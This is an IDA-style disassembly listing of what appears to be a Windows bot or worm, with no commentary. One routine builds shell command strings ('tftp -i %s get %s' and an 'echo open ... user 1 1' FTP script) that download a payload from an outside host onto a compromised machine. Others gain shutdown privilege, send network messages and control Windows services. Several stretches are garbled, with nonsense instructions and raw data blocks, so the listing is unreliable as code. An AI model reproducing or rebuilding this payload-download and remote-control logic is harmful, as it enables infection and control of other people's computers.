push edi
call near ptr 3D0000h
mov edi, 142474FFh
mov ebx, eax
push ebx
call sub_41D260
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call ds:dword_45154C
push esi
push 1
push 4C9h
push ebp
call ds:dword_45154C
push ebx
call near ptr 3D0000h
call near ptr 0FC5779C7h
adc cl, [edi+0]
push 1
pop eax
pop edi
pop ebx
jmp short loc_417A7C
; ---------------------------------------------------------------------------
loc_417A7A: ; CODE XREF: sub_4179FA+14j
xor eax, eax
loc_417A7C: ; CODE XREF: sub_4179FA+7Ej
pop esi
pop ebp
retn
sub_4179FA endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp-11Ch]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call ds:dword_4515AC
test eax, eax
jz short near ptr loc_417B1D+1
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, ds:dword_4F1380
push 1
lea eax, [ebp-11Ch]
push 80000000h
push eax
call esi ; dword_4F1380
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short near ptr loc_417B1D+1
lea eax, [ebp-18h]
push eax
lea eax, [ebp-8]
push eax
lea eax, [ebp-10h]
push eax
push ebx
call near ptr 3D0000h
push ecx
push ebx
mov ebx, ds:dword_4F12FC
call ebx ; dword_4F12FC
push 0
push edi
push 3
push 0
push 2
push 40000000h
push dword ptr [ebp+8]
call esi ; dword_4F1380
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short near ptr loc_417B1D+1
lea eax, [ebp-18h]
push eax
lea eax, [ebp-8]
push eax
lea eax, [ebp-10h]
push eax
push esi
call near ptr 3D0000h
mov [esi-1], dl
loc_417B1D: ; CODE XREF: seg000:00417AA9j
; seg000:00417AD0j ...
rcr dword ptr [edi+5Eh], cl
pop ebx
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 454h
push esi
xor esi, esi
push 10h
lea eax, [ebp-10h]
push esi
push eax
call sub_41D100
push 44h
lea eax, [ebp-54h]
push esi
push eax
call sub_41D100
push dword ptr [ebp+0Ch]
lea eax, [ebp-454h]
mov dword ptr [ebp-54h], 44h
mov dword ptr [ebp-28h], 1
push dword ptr [ebp+8]
mov [ebp-24h], si
push offset aSS_5 ; "%s %s"
push 400h
push eax
call sub_41D360
add esp, 2Ch
lea eax, [ebp-10h]
push eax
lea eax, [ebp-54h]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp-454h]
loc_417B8C: ; CODE XREF: seg000:00417BFDj
push esi
push eax
push dword ptr [ebp+8]
call near ptr 3D0000h
adc edi, esi
fcomp dword ptr [ebx]
rcr byte ptr [esi+23h], 45h
clc
leave
retn
; =============== S U B R O U T I N E =======================================
sub_417BA1 proc near ; CODE XREF: seg000:00403FF9p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_418FDB
pop ecx
pop ecx
push 50005h
push 6
call ds:dword_451438
neg eax
sbb eax, eax
neg eax
retn
sub_417BA1 endp
; ---------------------------------------------------------------------------
loc_417BC3: ; CODE XREF: seg000:00407E53p
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp ds:dword_43CC70, esi
push edi
jz short loc_417BE7
cmp ds:dword_4515C0, esi
jnz short loc_417BE7
push esi
call start
pop ecx
loc_417BE7: ; CODE XREF: seg000:00417BD6j
; seg000:00417BDEj
call sub_408F08
lea eax, [ebp-764h]
push eax
push 400h
call near ptr 3D0000h
jns short loc_417B8C
test [eax+edi*8-72AF0001h], ebx
test [eax+68FFFFFDh], esp
sub al, 0D9h
inc esp
add [eax-18h], dl
dec edx
push esi
; ---------------------------------------------------------------------------
dd 0C4830000h, 0A0858D0Ch, 56FFFFFDh, 56026A56h, 6856h
dd 0FF504000h, 4F138015h, 3BF88B00h, 0C860FFEh, 8D000001h
dd 0FFFDA085h, 858D50FFh, 0FFFFF89Ch, 44D93868h, 0DE85000h
dd 83000056h, 458D0CC4h, 8D5056FCh, 0FFF89C85h, 9E850FFh
dd 59000030h, 9C858D50h, 50FFFFF8h, 838AE857h, 57F3FFFBh
dd 12FC15FFh, 106A004Fh, 56EC458Dh, 5476E850h, 446A0000h
dd 5FA8458Dh, 0E8505657h, 5468h, 8918C483h, 4BFA87Dh, 8D000001h
dd 0FFFEA485h, 565057FFh, 0D8B445C7h, 0C7004EDEh, 1D445h
dd 89660000h, 3DE8D875h, 3DFFFB83h, 8336E850h, 8D41FFFBh
dd 0FFFEA485h, 15FF50FFh, 4F1334h, 74FFF883h, 0A4858D12h
dd 68FFFFFEh, 80h, 8312E850h, 8D12FFFBh, 0FFFEA485h, 858D50FFh
dd 0FFFFFDA0h, 9C858D50h, 68FFFFF8h, 44D97Ch, 5552E850h
dd 0C4830000h, 9C858D10h, 57FFFFFCh, 9C858D50h, 50FFFFF8h
dd 0FB82DBE8h, 458DA6FFh, 458D50ECh, 565650A8h, 400868h
dd 56016A00h, 0FC9C858Dh, 5056FFFFh, 82BAE856h, 5FC6FFFBh
; ---------------------------------------------------------------------------
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 294h
push edi
xor edi, edi
push 94h
lea eax, [ebp-94h]
push edi
push eax
call sub_41D100
add esp, 0Ch
lea eax, [ebp-94h]
mov dword ptr [ebp-94h], 94h
push eax
call ds:dword_4F1358 ; GetVersionExA
cmp dword ptr [ebp-84h], 2
jnz short loc_417DE1
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
call ds:dword_451474
push edi
push eax
call ds:dword_451484
test eax, eax
jz short loc_417DD3
push dword ptr [ebp+18h]
push offset dword_44D994
loc_417DAC: ; CODE XREF: seg000:00417DDFj
lea eax, [ebp-294h]
push eax
call sub_41D260
push edi
lea eax, [ebp-294h]
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40145D
add esp, 20h
jmp short loc_417E0B
; ---------------------------------------------------------------------------
loc_417DD3: ; CODE XREF: seg000:00417DA2j
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset dword_44D9CC
jmp short loc_417DAC
; ---------------------------------------------------------------------------
loc_417DE1: ; CODE XREF: seg000:00417D8Aj
lea eax, [ebp-294h]
push offset dword_44DA14
push eax
call sub_41D260
push edi
lea eax, [ebp-294h]
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40145D
add esp, 1Ch
loc_417E0B: ; CODE XREF: seg000:00417DD1j
pop edi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417E0E proc near ; CODE XREF: seg000:0040AFC0p
; sub_40B8D0+430p ...
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41D100
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call ds:dword_451530
push [ebp+arg_BC]
mov [ebp+var_C], eax
call ds:dword_4514F4
push edi
push 1
push 2
mov [ebp+var_E], ax
call ds:dword_451570
mov esi, eax
cmp esi, 0FFFFFFFFh
mov [ebp+arg_BC], esi
jz loc_417F11
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call ds:dword_45149C
cmp eax, 0FFFFFFFFh
jz loc_417F11
mov ebx, 400h
push edi
lea eax, [ebp+var_5A0]
push ebx
push eax
push esi
call ds:dword_45150C
mov esi, offset byte_43CCBC
push esi
push esi
push [ebp+arg_0]
call sub_402617
pop ecx
mov edi, 190h
push eax
push offset aTftpISGetSS ; "tftp -i %s get %s &%s\r\n"
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41D360
movzx eax, word ptr ds:dword_4DF1B8
add esp, 18h
push esi
push esi
push eax
push [ebp+arg_0]
call sub_402617
pop ecx
push eax
push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41D360
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push [ebp+arg_BC]
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jnz short loc_417F15
loc_417F11: ; CODE XREF: sub_417E0E+56j
; sub_417E0E+6Cj
xor al, al
jmp short loc_417F39
; ---------------------------------------------------------------------------
loc_417F15: ; CODE XREF: sub_417E0E+101j
push 0
lea eax, [ebp+var_5A0]
push ebx
push eax
push [ebp+arg_BC]
call ds:dword_45150C
push [ebp+arg_BC]
call ds:dword_451588
mov al, 1
loc_417F39: ; CODE XREF: sub_417E0E+105j
pop edi
pop esi
pop ebx
leave
retn
sub_417E0E endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 1C0h
lea eax, [ebp-94h]
mov dword ptr [ebp-94h], 94h
push eax
call ds:dword_4F1358 ; GetVersionExA
cmp dword ptr [ebp-90h], 4
jnz short loc_417F94
cmp dword ptr [ebp-8Ch], 0
jnz short loc_417F7D
push 1
pop eax
cmp [ebp-84h], eax
jnz short loc_417F94
leave
retn
; ---------------------------------------------------------------------------
loc_417F7D: ; CODE XREF: seg000:00417F6Ej
cmp dword ptr [ebp-8Ch], 0Ah
jz short loc_417F8F
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_417F94
loc_417F8F: ; CODE XREF: seg000:00417F84j
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_417F94: ; CODE XREF: seg000:00417F65j
; seg000:00417F79j ...
push esi
push edi
push offset aNetapi32_dll_0 ; "netapi32.dll"
call ds:dword_4F130C ; LoadLibraryA
mov esi, eax
push offset aNetmessagebu_0 ; "NetMessageBufferSend"
push esi
call ds:dword_4F1314
push 32h
mov edi, eax
push dword ptr [ebp+8]
lea eax, [ebp-1C0h]
push eax
call sub_41FEE0
push 32h
lea eax, [ebp-15Ch]
push dword ptr [ebp+0Ch]
push eax
call sub_41FEE0
push 32h
lea eax, [ebp-0F8h]
push dword ptr [ebp+10h]
push eax
call sub_41FEE0
lea eax, [ebp-0F8h]
push eax
call sub_4201B0
shl eax, 1
push eax
lea eax, [ebp-0F8h]
push eax
lea eax, [ebp-15Ch]
push eax
lea eax, [ebp-1C0h]
push eax
push 0
call edi ; GetTickCount
add esp, 3Ch
mov edi, eax
push esi
call near ptr 3D0000h
mov cl, [ebx-36A1A039h]
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41801E proc near ; CODE XREF: seg000:00408647p
; seg000:0040DE91p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call ds:dword_4F1340 ; GetTickCount
push eax
call sub_41DB90
pop ecx
call sub_41DBA0
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul ds:dbl_4394C8
call sub_41F33C
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_41801E endp
; =============== S U B R O U T I N E =======================================
sub_41805B proc near ; CODE XREF: seg000:00404A41p
; seg000:00404AA2p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_4180C0
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push ds:dword_44DB08[esi]
push edi
push eax
call sub_4180E2
add esp, 14h
test eax, eax
jnz short loc_4180A3
push edi
push ds:off_44DB04[esi]
mov esi, offset dword_4EE59C
push offset unk_44DBC8
push esi
call sub_41D260
add esp, 10h
jmp short loc_4180DD
; ---------------------------------------------------------------------------
loc_4180A3: ; CODE XREF: sub_41805B+2Aj
push eax
call sub_418184
push eax
push edi
mov esi, offset dword_4EE59C
push offset unk_44DBFC
push esi
call sub_41D260
add esp, 14h
jmp short loc_4180DD
; ---------------------------------------------------------------------------
loc_4180C0: ; CODE XREF: sub_41805B+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_4EE59C
push ds:off_44DB00[eax*4]
push offset unk_44DC40
push esi
call sub_41D260
add esp, 0Ch
loc_4180DD: ; CODE XREF: sub_41805B+46j
; sub_41805B+63j
mov eax, esi
pop edi
pop esi
retn
sub_41805B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4180E2 proc near ; CODE XREF: sub_41805B+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call ds:dword_4514E8
mov edi, eax
cmp edi, ebx
jnz short loc_418109
call ds:dword_4F1310 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_41817E
; ---------------------------------------------------------------------------
loc_418109: ; CODE XREF: sub_4180E2+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call ds:dword_4513D4
mov esi, eax
cmp esi, ebx
jnz short loc_418129
call ds:dword_4F1310 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_418176
; ---------------------------------------------------------------------------
loc_418129: ; CODE XREF: sub_4180E2+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_41815C
cmp eax, 3
jz short loc_41814D
jle short loc_41816F
cmp eax, 6
jg short loc_41816F
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call ds:dword_451440
jmp short loc_418163
; ---------------------------------------------------------------------------
loc_41814D: ; CODE XREF: sub_4180E2+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call ds:dword_4513DC
jmp short loc_418163
; ---------------------------------------------------------------------------
loc_41815C: ; CODE XREF: sub_4180E2+4Dj
push esi
call ds:dword_451444
loc_418163: ; CODE XREF: sub_4180E2+69j
; sub_4180E2+78j
test eax, eax
jnz short loc_41816F
call ds:dword_4F1310 ; RtlGetLastWin32Error
mov ebx, eax
loc_41816F: ; CODE XREF: sub_4180E2+54j
; sub_4180E2+59j ...
push esi
call ds:dword_4513F0
loc_418176: ; CODE XREF: sub_4180E2+45j
push edi
call ds:dword_4513F0
pop esi
loc_41817E: ; CODE XREF: sub_4180E2+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_4180E2 endp
; =============== S U B R O U T I N E =======================================
sub_418184 proc near ; CODE XREF: sub_41805B+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_418239
jz loc_418232
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_4181FC
jz short loc_4181F2
mov ecx, eax
sub ecx, 3
jz short loc_4181E8
dec ecx
dec ecx
jz short loc_4181DE
dec ecx
jz short loc_4181D4
sub ecx, 51h
jz short loc_4181CA
sub ecx, 24h
jnz loc_4182AF ; default
; jumptable 00418256 cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_4182A1
; ---------------------------------------------------------------------------
loc_4181CA: ; CODE XREF: sub_418184+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_4182A1
; ---------------------------------------------------------------------------
loc_4181D4: ; CODE XREF: sub_418184+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_4182A1
; ---------------------------------------------------------------------------
loc_4181DE: ; CODE XREF: sub_418184+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_4182A1
; ---------------------------------------------------------------------------
loc_4181E8: ; CODE XREF: sub_418184+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_4182A1
; ---------------------------------------------------------------------------
loc_4181F2: ; CODE XREF: sub_418184+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_4182A1
; ---------------------------------------------------------------------------
loc_4181FC: ; CODE XREF: sub_418184+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_41822B
dec ecx
jz short loc_418224
dec ecx
jz short loc_41821D
dec ecx
jnz loc_4182AF ; default
; jumptable 00418256 cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_4182A1
; ---------------------------------------------------------------------------
loc_41821D: ; CODE XREF: sub_418184+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_4182A1
; ---------------------------------------------------------------------------
loc_418224: ; CODE XREF: sub_418184+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_4182A1
; ---------------------------------------------------------------------------
loc_41822B: ; CODE XREF: sub_418184+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_4182A1
; ---------------------------------------------------------------------------
loc_418232: ; CODE XREF: sub_418184+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_4182A1
; ---------------------------------------------------------------------------
loc_418239: ; CODE XREF: sub_418184+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_4182AF ; default
; jumptable 00418256 cases 1,5,6,8,9,12,13,15,16
jz short loc_41829C
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_4182AF ; default
; jumptable 00418256 cases 1,5,6,8,9,12,13,15,16
movzx ecx, ds:byte_4182F0[ecx]
jmp ds:off_4182C8[ecx*4] ; switch jump
loc_41825D: ; DATA XREF: seg000:off_4182C8o
push offset aTheSpecifiedDa ; jumptable 00418256 case 7
jmp short loc_4182A1
; ---------------------------------------------------------------------------
loc_418264: ; CODE XREF: sub_418184+D2j
; DATA XREF: seg000:off_4182C8o
push offset aTheServiceDepe ; jumptable 00418256 case 17
jmp short loc_4182A1
; ---------------------------------------------------------------------------
loc_41826B: ; CODE XREF: sub_418184+D2j
; DATA XREF: seg000:off_4182C8o
push offset aTheServiceDe_0 ; jumptable 00418256 case 10
jmp short loc_4182A1
; ---------------------------------------------------------------------------
loc_418272: ; CODE XREF: sub_418184+D2j
; DATA XREF: seg000:off_4182C8o
push offset aTheServiceHasB ; jumptable 00418256 case 0
jmp short loc_4182A1
; ---------------------------------------------------------------------------
loc_418279: ; CODE XREF: sub_418184+D2j
; DATA XREF: seg000:off_4182C8o
push offset aTheSpecified_0 ; jumptable 00418256 case 2
jmp short loc_4182A1
; ---------------------------------------------------------------------------
loc_418280: ; CODE XREF: sub_418184+D2j
; DATA XREF: seg000:off_4182C8o
push offset aTheServiceCoul ; jumptable 00418256 case 11
jmp short loc_4182A1
; ---------------------------------------------------------------------------
loc_418287: ; CODE XREF: sub_418184+D2j
; DATA XREF: seg000:off_4182C8o
push offset aTheServiceHa_0 ; jumptable 00418256 case 14
jmp short loc_4182A1
; ---------------------------------------------------------------------------
loc_41828E: ; CODE XREF: sub_418184+D2j
; DATA XREF: seg000:off_4182C8o
push offset aTheRequested_1 ; jumptable 00418256 case 3
jmp short loc_4182A1
; ---------------------------------------------------------------------------
loc_418295: ; CODE XREF: sub_418184+D2j
; DATA XREF: seg000:off_4182C8o
push offset aTheServiceHasN ; jumptable 00418256 case 4
jmp short loc_4182A1
; ---------------------------------------------------------------------------
loc_41829C: ; CODE XREF: sub_418184+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_4182A1: ; CODE XREF: sub_418184+41j
; sub_418184+4Bj ...
push offset dword_4EDEDC
call sub_41D260
pop ecx
pop ecx
jmp short loc_4182C2
; ---------------------------------------------------------------------------
loc_4182AF: ; CODE XREF: sub_418184+36j
; sub_418184+89j ...
push eax ; default
; jumptable 00418256 cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_4EDEDC
call sub_41D260
add esp, 0Ch
loc_4182C2: ; CODE XREF: sub_418184+129j
mov eax, offset dword_4EDEDC
retn
sub_418184 endp
; ---------------------------------------------------------------------------
off_4182C8 dd offset loc_418272 ; DATA XREF: sub_418184+D2r
dd offset loc_418279 ; jump table for switch statement
dd offset loc_41828E
dd offset loc_418295
dd offset loc_41825D
dd offset loc_41826B
dd offset loc_418280
dd offset loc_418287
dd offset loc_418264
dd offset loc_4182AF
byte_4182F0 db 0, 9, 1, 2 ; DATA XREF: sub_418184+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418302 proc near ; CODE XREF: seg000:00404A6Cp
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call ds:dword_4514E8
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40145D
add esp, 14h
loc_41833A: ; CODE XREF: sub_418302+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call ds:dword_4514B4
test eax, eax
jnz short loc_418374
call ds:dword_4F1310 ; RtlGetLastWin32Error
cmp eax, 0EAh
jnz loc_418428
loc_418374: ; CODE XREF: sub_418302+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_41841F
lea esi, [ebp+var_188]
loc_418385: ; CODE XREF: sub_418302+117j
mov eax, [esi+8]
dec eax
jz short loc_4183CE
dec eax
jz short loc_4183C7
dec eax
jz short loc_4183C0
dec eax
jz short loc_4183B9
dec eax
jz short loc_4183B2
dec eax
jz short loc_4183AB
dec eax
jz short loc_4183A4
push offset aUnknown_1 ; " Unknown"
jmp short loc_4183D3
; ---------------------------------------------------------------------------
loc_4183A4: ; CODE XREF: sub_418302+99j
push offset aPaused_0 ; " Paused"
jmp short loc_4183D3
; ---------------------------------------------------------------------------
loc_4183AB: ; CODE XREF: sub_418302+96j
push offset aPausing ; " Pausing"
jmp short loc_4183D3
; ---------------------------------------------------------------------------
loc_4183B2: ; CODE XREF: sub_418302+93j
push offset aContinuing ; " Continuing"
jmp short loc_4183D3
; ---------------------------------------------------------------------------
loc_4183B9: ; CODE XREF: sub_418302+90j
push offset aRunning ; " Running"
jmp short loc_4183D3
; ---------------------------------------------------------------------------
loc_4183C0: ; CODE XREF: sub_418302+8Dj
push offset aStoping ; " Stoping"
jmp short loc_4183D3
; ---------------------------------------------------------------------------
loc_4183C7: ; CODE XREF: sub_418302+8Aj
push offset aStarting ; " Starting"
jmp short loc_4183D3
; ---------------------------------------------------------------------------
loc_4183CE: ; CODE XREF: sub_418302+87j
push offset aStopped ; " Stopped"
loc_4183D3: ; CODE XREF: sub_418302+A0j
; sub_418302+A7j ...
lea eax, [ebp+var_20]
push eax
call sub_41D260
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS_2 ; "%s: %s (%s)"
push eax
call sub_41D260
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40145D
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_418385
loc_41841F: ; CODE XREF: sub_418302+77j
cmp [ebp+var_8], ebx
jnz loc_41833A
loc_418428: ; CODE XREF: sub_418302+6Cj
push [ebp+var_C]
call ds:dword_4513F0
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_418302 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41843F proc near ; CODE XREF: seg000:00404B45p
; seg000:00404B5Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_4184D8
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_418468
dec eax
jnz short loc_4184B8
push edi
push 0
call sub_418611
pop ecx
pop ecx
jmp short loc_4184B4
; ---------------------------------------------------------------------------
loc_418468: ; CODE XREF: sub_41843F+18j
cmp [ebp+arg_8], 0
jnz short loc_4184A6
push 24h
push edi
call sub_41E650
pop ecx
test eax, eax
pop ecx
jnz short loc_4184A6
push 57h
pop eax
loc_41847F: ; CODE XREF: sub_41843F+77j
push eax
call sub_418DE9
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4EE198
push ds:off_44DB00[eax*4]
push offset unk_44E1E8
push esi
call sub_41D260
add esp, 18h
jmp short loc_4184F8
; ---------------------------------------------------------------------------
loc_4184A6: ; CODE XREF: sub_41843F+2Dj
; sub_41843F+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_418565
add esp, 0Ch
loc_4184B4: ; CODE XREF: sub_41843F+27j
test eax, eax
jnz short loc_41847F
loc_4184B8: ; CODE XREF: sub_41843F+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4EE198
push ds:off_44DB04[eax*4]
push offset dword_44E1B4
push esi
call sub_41D260
add esp, 10h
jmp short loc_4184F8
; ---------------------------------------------------------------------------
loc_4184D8: ; CODE XREF: sub_41843F+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_4EE198
lea eax, [eax+eax*2]
push ds:off_44DB00[eax*4]
push offset unk_44E22C
push esi
call sub_41D260
add esp, 0Ch
loc_4184F8: ; CODE XREF: sub_41843F+65j
; sub_41843F+97j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_41843F endp
; =============== S U B R O U T I N E =======================================
sub_4184FE proc near ; CODE XREF: seg000:00419A5Fp
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_41850B
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_41850B: ; CODE XREF: sub_4184FE+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, ds:dword_4F1384
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi ; dword_4F1384
test ds:byte_4EE398, 1
mov ebp, eax
jnz short loc_418548
or ds:byte_4EE398, 1
lea eax, [ebp+1]
push eax
call sub_41FD90
pop ecx
mov ds:dword_4EE138, eax
loc_418548: ; CODE XREF: sub_4184FE+32j
push esi
push esi
push ebp
push ds:dword_4EE138
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi ; dword_4F1384
mov eax, ds:dword_4EE138
pop edi
pop ebp
pop ebx
pop esi
retn
sub_4184FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418565 proc near ; CODE XREF: sub_41843F+6Dp
; seg000:00419CC2p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_4185D0
push [ebp+arg_4]
mov edi, eax
call sub_4185D0
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_41E650
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_4185D0
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call ds:dword_4513EC
pop edi
leave
retn
sub_418565 endp
; =============== S U B R O U T I N E =======================================
sub_4185D0 proc near ; CODE XREF: sub_418565+Ap
; sub_418565+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_4185DD
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4185DD: ; CODE XREF: sub_4185D0+9j
push ebx
push esi
mov esi, ds:dword_4F1370
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi ; dword_4F1370
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_41FD90
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi ; dword_4F1370
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_4185D0 endp
; =============== S U B R O U T I N E =======================================
sub_418611 proc near ; CODE XREF: sub_41843F+20p
; seg000:004199D5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_4185D0
push [esp+8+arg_4]
mov esi, eax
call sub_4185D0
pop ecx
pop ecx
push 0
push eax
push esi
call ds:dword_4513C4
pop esi
retn
